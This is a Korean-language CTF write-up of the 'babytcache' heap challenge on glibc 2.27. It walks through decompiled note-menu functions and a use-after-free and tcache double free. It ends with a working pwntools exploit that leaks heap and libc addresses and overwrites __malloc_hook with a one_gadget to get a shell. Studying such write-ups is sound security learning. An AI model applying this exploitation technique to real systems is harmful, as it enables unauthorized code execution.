glibc-2.27
#1. 문제 살펴보기
GOT 값을 덮지 못하고
Stack 에 Canary 가 존재하며
Stack 에 쉘코드를 올려서 사용하지못함
+ Data영역의 주소가 실행할 때마다 변하는 것을 확인할 수 있다.
#2. 문제 분석하기
void __fastcall main(__int64 a1, char **a2, char **a3)
{
alarm(0x3Cu);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("----------BABYTCACHE----------");
while ( 1 )
{
switch ( comment() )
{
case 1:
add();
break;
case 2:
edit();
break;
case 3:
free_0();
break;
case 4:
view();
break;
case 5:
exit(0);
return;
default:
puts("Invalid");
break;
}
}
}
각 함수에 대한 자세한 기능은 숨겨놓겠다!
1. 노트를 추가하는 함수 add( )
int add()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
puts("Note index:");
result = read_func_0();
v1 = result;
while ( v1 >= 0 && v1 <= 7 ) // 0 <= index <= 7
{
if ( bss_malloc[v1] )
return puts("This note is occupied\n");
puts("Note size:");
bss_size[v1] = read_func_0();
if ( (bss_size[v1] & 0x80000000) == 0 && (int)bss_size[v1] <= 512 )// ~0x200
{
bss_malloc[v1] = malloc((int)bss_size[v1]);
if ( !bss_malloc[v1] )
exit(0);
puts("Note data:");
return read_func((void *)bss_malloc[v1], bss_size[v1]);
}
result = puts("Invalid size");
}
return result;
}
2. 노트를 수정하는 함수 edit( )
int edit()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
puts("Note index:");
result = read_func_0();
v1 = result;
if ( result >= 0 && result <= 7 )
{
if ( bss_malloc[result] )
{
puts("Please update the data:");
if ( (unsigned int)read_func((void *)bss_malloc[v1], bss_size[v1]) )
result = puts("update successful\n");
else
result = puts("update unsuccessful");
}
else
{
result = puts("This Note is empty\n");
}
}
return result;
}
3. 노트를 해제하는 함수 free_0( )
int free_0()
{
int result; // eax
int v1; // eax
int v2; // [rsp+Ch] [rbp-4h]
puts("Note index:");
result = read_func_0();
v2 = result;
if ( result >= 0 && result <= 7 )
{
if ( bss_malloc[result] )
{
v1 = data_202010--;
if ( !v1 )
{
puts("Sorry no more removal\n");
exit(0);
}
free((void *)bss_malloc[v2]); // UAF
result = puts("done");
}
else
{
result = puts("This Note is empty");
}
}
return result;
}
4. 노트를 보여주는 함수 view( )
int view()
{
int result; // eax
puts("Note index:");
result = read_func_0();
if ( result >= 0 && result <= 7 )
{
if ( bss_malloc[result] )
result = printf("Your Note :%s\n\n", bss_malloc[result]);
else
result = puts("This Note is empty");
}
return result;
}
view를 통해 free를 한 이후 남겨진 fd 값을 확인할 수 있을 것 같다 !
(heap문제들의 취약점은 add,delete를 제외한 메뉴에서 발생한다 )
glibc 2.27 tcache 에서는 DFB 발생한다
그리고 이 문제에서 알아두어야할 중요한 점이있다.
즉, free를 할 수 있는 횟수는 5번으로 한정되어 있다는 점이다 !
( tcache bin [7]로 만들고 unsorted bin으로 관리가 넘어가도록 하는 방법은 안될듯하다 )
#3. 삽질
PIE 보호기법 덕분에 malloc 을 가르키는 주소가 적힌 bss 값을 조작할 수 가 없다.
ex) sleepy holder, cat ...
따라서 offset 값들을 이용하여 문제를 풀어야할 것 같다.
malloc 을 진행하면 0x251 짜리 큰 청크를 할당한 뒤에 자리를 내어준다(?)
그래서 fd 값에서 -0x260 한 위치가 heap base 가 되겠다.
add(0,0x20,'a'*8)
add(1,0x20,'b'*8)
free(0)
free(0)
view(0)
그리고 libc를 leak 하기 위해서는 unsorted bin 크기의 chunk를 free하여
main_arena+88과 같은 값을 얻어내야 한다
하지만 0x400 이상의 chunk 는 할당할 수가 없다.
그렇다면 chunk size를 조작하는 방법을 이용해야한다.
edit( ) 함수는 할당된 chunk 에 data가 존재하면 입력받은 새로운 data 값으로 바꿔주는데
free( ) 함수에서 해제만 하고 data 값을 지우지 않는다.
따라서 free(0) 이후 edit(0,'a'*8) 이 가능하다
그러나
add( ) 함수에서 입력했던 bss_size 값만큼만 edit 가능하기 때문에
다음 chunk의 size를 수정할 수는 없을 것 같다.
Tcache 가 어떻게 관리되는지 생각해보자
#4. Exploit Code
from pwn import*
p = process('./babytcache')
### definition
def add(idx,size,data):
p.sendafter('>> ','1')
p.send(str(idx))
p.send(str(size))
p.send(data)
def edit(idx,data):
p.sendafter('>> ','2')
p.send(str(idx))
p.send(data)
def free(idx):
p.sendafter('>> ','3')
p.send(str(idx))
def view(idx):
p.sendafter('>> ','4')
p.send(str(idx))
### leak
# heap base
add(0,0x80,'a'*0x10)
add(1,0x100,'b'*0x10)
add(2,0x80,'c'*0x10)
free(0) # for leak
free(0)
free(1) # for exploit
free(1)
view(0)
p.recvline()
p.recvuntil('Your Note :')
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x260
print 'heap_base: '+hex(heap_base)
# main arena
edit(0, p64(heap_base))
add(3,0x80,'d'*0x10)
add(4,0x80,p64(0)*2+p64(0x700000000000000))
free(3)
view(3)
p.recvuntil('Your Note :')
main_arena = u64(p.recv(6).ljust(8,"\x00"))
print 'main_arena+96: '+hex(main_arena)
# exploit
malloc_hook = main_arena - 112
one_list = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = main_arena-96-4111424+one_list[2]
edit(1,p64(malloc_hook))
add(5,0x100,'e`'*0x10)
add(6,0x100,p64(one_gadget))
p.interactive()
'CTF Review' 카테고리의 다른 글
[ heap ] Rooters CTF 2019 USER_ADMINISTRATION 미완 (0) | 2019.11.24 |
---|---|
[ stack ] Rooters CTF 2019 baby_pwn (0) | 2019.11.13 |
[ stack ] BSidesSF 2019 CTF slowfire 미완성 (0) | 2019.11.04 |
[ heap ] 0CTF 2019 baby_aegis (0) | 2019.10.31 |
[ heap ] HSCTF 2019 aria-writer-v3 (0) | 2019.10.07 |